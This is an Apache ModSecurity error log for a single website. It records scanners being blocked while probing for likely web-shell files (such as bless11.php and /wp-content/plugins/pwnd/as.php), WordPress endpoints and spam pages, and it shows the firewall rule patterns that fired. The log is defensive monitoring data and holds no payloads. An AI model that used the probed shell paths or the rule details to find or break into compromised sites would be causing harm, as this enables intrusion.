[Fri Feb 13 19:00:23.752829 2026] [:error] [pid 49335:tid 49345] [client 51.103.136.17:51066] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/admin.php"] [unique_id "aY8ER6p--SFY2nwOiqlflwAAAMg"]
[Fri Feb 13 19:00:24.286379 2026] [:error] [pid 49335:tid 49355] [client 51.103.136.17:51061] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/admin.php"] [unique_id "aY8ESKp--SFY2nwOiqlfmAAAANI"]
[Fri Feb 13 19:00:24.798421 2026] [:error] [pid 47358:tid 47388] [client 51.103.136.17:52253] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/admin.php"] [unique_id "aY8ESMQFBuVVUQTESUwIMgAAApY"]
[Fri Feb 13 19:00:25.274151 2026] [:error] [pid 47358:tid 47375] [client 51.103.136.17:20627] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/.well-known/admin.php"] [unique_id "aY8EScQFBuVVUQTESUwINQAAAok"]
[Fri Feb 13 19:00:25.776900 2026] [:error] [pid 47143:tid 47223] [client 51.103.136.17:54931] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless11.php"] [unique_id "aY8ESchV30NbMarHJLs6AwAAAkk"]
[Fri Feb 13 19:00:26.265127 2026] [:error] [pid 18097:tid 18104] [client 51.103.136.17:38574] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless11.php"] [unique_id "aY8ESnFzYiQ_BfaDDlYiYQAAAYU"]
[Fri Feb 13 19:00:26.843387 2026] [:error] [pid 51243:tid 51250] [client 51.103.136.17:45968] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless11.php"] [unique_id "aY8ESsim7ZTAHzi7xZvCVgAAAQU"]
[Fri Feb 13 19:00:27.359526 2026] [:error] [pid 49223:tid 49238] [client 51.103.136.17:20633] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless11.php"] [unique_id "aY8ESx8A_fZBamNLnfVNVwAAAAY"]
[Fri Feb 13 19:00:27.838821 2026] [:error] [pid 51243:tid 51260] [client 51.103.136.17:42748] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/init.php"] [unique_id "aY8ES8im7ZTAHzi7xZvCWAAAAQ8"]
[Fri Feb 13 19:00:28.361452 2026] [:error] [pid 49225:tid 49315] [client 51.103.136.17:57561] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/init.php"] [unique_id "aY8ETDwH8-zGxtAd3jv99QAAAJU"]
[Fri Feb 13 19:00:28.871567 2026] [:error] [pid 18097:tid 18101] [client 51.103.136.17:54920] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/init.php"] [unique_id "aY8ETHFzYiQ_BfaDDlYiZAAAAYI"]
[Fri Feb 13 19:00:29.366337 2026] [:error] [pid 49223:tid 49243] [client 51.103.136.17:57585] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/init.php"] [unique_id "aY8ETR8A_fZBamNLnfVNWAAAAAs"]
[Fri Feb 13 19:00:29.856115 2026] [:error] [pid 18097:tid 18108] [client 51.103.136.17:25005] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aY8ETXFzYiQ_BfaDDlYiZQAAAYk"]
[Fri Feb 13 19:00:30.333812 2026] [:error] [pid 47143:tid 47226] [client 51.103.136.17:20665] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aY8ETshV30NbMarHJLs6DAAAAkw"]
[Fri Feb 13 19:00:30.888293 2026] [:error] [pid 18097:tid 18122] [client 51.103.136.17:20608] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aY8ETnFzYiQ_BfaDDlYiZwAAAZc"]
[Fri Feb 13 19:00:31.360952 2026] [:error] [pid 49225:tid 49305] [client 51.103.136.17:42699] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-content/plugins/pwnd/as.php"] [unique_id "aY8ETzwH8-zGxtAd3jv9-AAAAIs"]
[Fri Feb 13 19:00:31.854996 2026] [:error] [pid 46821:tid 46842] [client 51.103.136.17:42729] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k.php"] [unique_id "aY8ET46G1N5YSq0J0gcIdQAAAVM"]
[Fri Feb 13 19:00:32.432690 2026] [:error] [pid 46821:tid 46823] [client 51.103.136.17:20650] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k.php"] [unique_id "aY8EUI6G1N5YSq0J0gcIeAAAAUA"]
[Fri Feb 13 19:00:32.909115 2026] [:error] [pid 18097:tid 18105] [client 51.103.136.17:5958] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k.php"] [unique_id "aY8EUHFzYiQ_BfaDDlYiaAAAAYY"]
[Fri Feb 13 19:00:33.432394 2026] [:error] [pid 47575:tid 47596] [client 51.103.136.17:32121] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/k.php"] [unique_id "aY8EUQIPBuXb07mA_mS8YQAAAs8"]
[Fri Feb 13 19:00:33.923873 2026] [:error] [pid 49335:tid 49361] [client 51.103.136.17:56328] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless.php"] [unique_id "aY8EUap--SFY2nwOiqlfogAAANg"]
[Fri Feb 13 19:00:34.455101 2026] [:error] [pid 47143:tid 47220] [client 51.103.136.17:56371] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless.php"] [unique_id "aY8EUshV30NbMarHJLs6FAAAAkY"]
[Fri Feb 13 19:00:34.942924 2026] [:error] [pid 47143:tid 47228] [client 51.103.136.17:54107] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless.php"] [unique_id "aY8EUshV30NbMarHJLs6FQAAAk4"]
[Fri Feb 13 19:00:35.417385 2026] [:error] [pid 49223:tid 49238] [client 51.103.136.17:38552] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/bless.php"] [unique_id "aY8EUx8A_fZBamNLnfVNYAAAAAY"]
[Fri Feb 13 19:00:35.927786 2026] [:error] [pid 49335:tid 49349] [client 51.103.136.17:21840] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/X7x.php"] [unique_id "aY8EU6p--SFY2nwOiqlfpgAAAMw"]
[Fri Feb 13 19:00:36.445276 2026] [:error] [pid 47143:tid 47226] [client 51.103.136.17:39353] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/X7x.php"] [unique_id "aY8EVMhV30NbMarHJLs6GgAAAkw"]
[Fri Feb 13 19:00:36.945784 2026] [:error] [pid 46821:tid 46837] [client 51.103.136.17:56350] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/X7x.php"] [unique_id "aY8EVI6G1N5YSq0J0gcIgAAAAU4"]
[Fri Feb 13 19:00:37.455767 2026] [:error] [pid 49223:tid 49246] [client 51.103.136.17:40862] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/X7x.php"] [unique_id "aY8EVR8A_fZBamNLnfVNZgAAAA4"]
[Fri Feb 13 19:00:37.973613 2026] [:error] [pid 46821:tid 46836] [client 51.103.136.17:48678] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/166.php"] [unique_id "aY8EVY6G1N5YSq0J0gcIhAAAAU0"]
[Fri Feb 13 19:00:38.500103 2026] [:error] [pid 47080:tid 47092] [client 51.103.136.17:32072] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/166.php"] [unique_id "aY8EVkbWJwYCVF39z6s0TwAAAcQ"]
[Fri Feb 13 19:00:39.003870 2026] [:error] [pid 47080:tid 47091] [client 51.103.136.17:44480] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/166.php"] [unique_id "aY8EV0bWJwYCVF39z6s0UQAAAcM"]
[Fri Feb 13 19:00:39.487083 2026] [:error] [pid 46821:tid 46831] [client 51.103.136.17:54748] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/166.php"] [unique_id "aY8EV46G1N5YSq0J0gcIiAAAAUg"]
[Fri Feb 13 19:00:39.976047 2026] [:error] [pid 49223:tid 49239] [client 51.103.136.17:57576] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plss3.php"] [unique_id "aY8EVx8A_fZBamNLnfVNbQAAAAc"]
[Fri Feb 13 19:00:40.497228 2026] [:error] [pid 49225:tid 49301] [client 51.103.136.17:60838] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plss3.php"] [unique_id "aY8EWDwH8-zGxtAd3jv-AQAAAIc"]
[Fri Feb 13 19:00:41.055182 2026] [:error] [pid 47080:tid 47107] [client 51.103.136.17:54701] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plss3.php"] [unique_id "aY8EWUbWJwYCVF39z6s0VQAAAdM"]
[Fri Feb 13 19:00:41.655537 2026] [:error] [pid 47575:tid 47600] [client 51.103.136.17:42217] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/plss3.php"] [unique_id "aY8EWQIPBuXb07mA_mS8ZQAAAtM"]
[Fri Feb 13 19:00:42.286033 2026] [:error] [pid 49223:tid 49250] [client 51.103.136.17:5796] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aY8EWh8A_fZBamNLnfVNcQAAABI"]
[Fri Feb 13 19:00:42.905294 2026] [:error] [pid 49335:tid 49352] [client 51.103.136.17:37014] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aY8EWqp--SFY2nwOiqlfqgAAAM8"]
[Fri Feb 13 19:00:43.434648 2026] [:error] [pid 51243:tid 51246] [client 51.103.136.17:5230] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aY8EW8im7ZTAHzi7xZvCXQAAAQE"]
[Fri Feb 13 19:00:44.056823 2026] [:error] [pid 49225:tid 49305] [client 51.103.136.17:39304] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp-admin/user/about.php"] [unique_id "aY8EXDwH8-zGxtAd3jv-CQAAAIs"]
[Fri Feb 13 19:00:44.590337 2026] [:error] [pid 47080:tid 47089] [client 51.103.136.17:45956] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admins.php"] [unique_id "aY8EXEbWJwYCVF39z6s0XgAAAcE"]
[Fri Feb 13 19:00:45.164320 2026] [:error] [pid 47080:tid 47106] [client 51.103.136.17:43624] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admins.php"] [unique_id "aY8EXUbWJwYCVF39z6s0YAAAAdI"]
[Fri Feb 13 19:00:45.668527 2026] [:error] [pid 49225:tid 49313] [client 51.103.136.17:51023] [client 51.103.136.17] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/admins.php"] [unique_id "aY8EXTwH8-zGxtAd3jv-CgAAAJM"]
[Fri Feb 13 19:00:50.953010 2026] [:error] [pid 47080:tid 47100] [client 51.103.136.17:51064] [client 51.103.136.17] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "measureyourbrand.com.au"] [uri "/wp-includes/assets/index.php"] [unique_id "aY8EYkbWJwYCVF39z6s0cQAAAcw"]
[Fri Feb 13 19:48:39.136892 2026] [:error] [pid 47358:tid 47384] [client 49.51.183.15:33966] [client 49.51.183.15] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||measureyourbrand.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "measureyourbrand.com.au"] [uri "/"] [unique_id "aY8Pl8QFBuVVUQTESUwRsQAAApI"]
[Fri Feb 13 22:28:24.799701 2026] [:error] [pid 47143:tid 47233] [client 136.113.227.115:64281] [client 136.113.227.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 136.113.227.115, incrementing ddos counter"] [hostname "measureyourbrand.com.au"] [uri "/xmlrpc.php"] [unique_id "aY81CMhV30NbMarHJLtaxQAAAlM"]
[Fri Feb 13 22:28:25.694675 2026] [:error] [pid 47143:tid 47237] [client 136.113.227.115:64281] [client 136.113.227.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wordpress/wp-includes/wlwmanifest.xml"] [unique_id "aY81CchV30NbMarHJLtayQAAAlc"]
[Fri Feb 13 22:28:26.484041 2026] [:error] [pid 47080:tid 47103] [client 136.113.227.115:61152] [client 136.113.227.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/website/wp-includes/wlwmanifest.xml"] [unique_id "aY81CkbWJwYCVF39z6twCAAAAc8"]
[Fri Feb 13 22:28:27.352809 2026] [:error] [pid 47143:tid 47226] [client 136.113.227.115:54518] [client 136.113.227.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/wp/wp-includes/wlwmanifest.xml"] [unique_id "aY81C8hV30NbMarHJLtaywAAAkw"]
[Fri Feb 13 22:28:28.149573 2026] [:error] [pid 47080:tid 47088] [client 136.113.227.115:52165] [client 136.113.227.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/news/wp-includes/wlwmanifest.xml"] [unique_id "aY81DEbWJwYCVF39z6twCwAAAcA"]
[Fri Feb 13 22:28:28.958459 2026] [:error] [pid 49225:tid 49298] [client 136.113.227.115:56137] [client 136.113.227.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/2020/wp-includes/wlwmanifest.xml"] [unique_id "aY81DDwH8-zGxtAd3jskegAAAIQ"]
[Fri Feb 13 22:53:29.111875 2026] [:error] [pid 49335:tid 49342] [client 54.37.252.192:58964] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20joker%20auto.aspx"] [unique_id "aY866ap--SFY2nwOiqmGlgAAAMU"]
[Fri Feb 13 22:53:31.802665 2026] [:error] [pid 47575:tid 47602] [client 54.37.252.192:32822] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20osaka.aspx"] [unique_id "aY866wIPBuXb07mA_mTo3AAAAtU"]
[Fri Feb 13 22:53:34.678947 2026] [:error] [pid 49223:tid 49250] [client 54.37.252.192:32824] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "aY867h8A_fZBamNLnfWGKgAAABI"]
[Fri Feb 13 22:53:37.427002 2026] [:error] [pid 47358:tid 47368] [client 54.37.252.192:32834] [client 54.37.252.192] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "measureyourbrand.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "aY868cQFBuVVUQTESUwxJQAAAoM"]
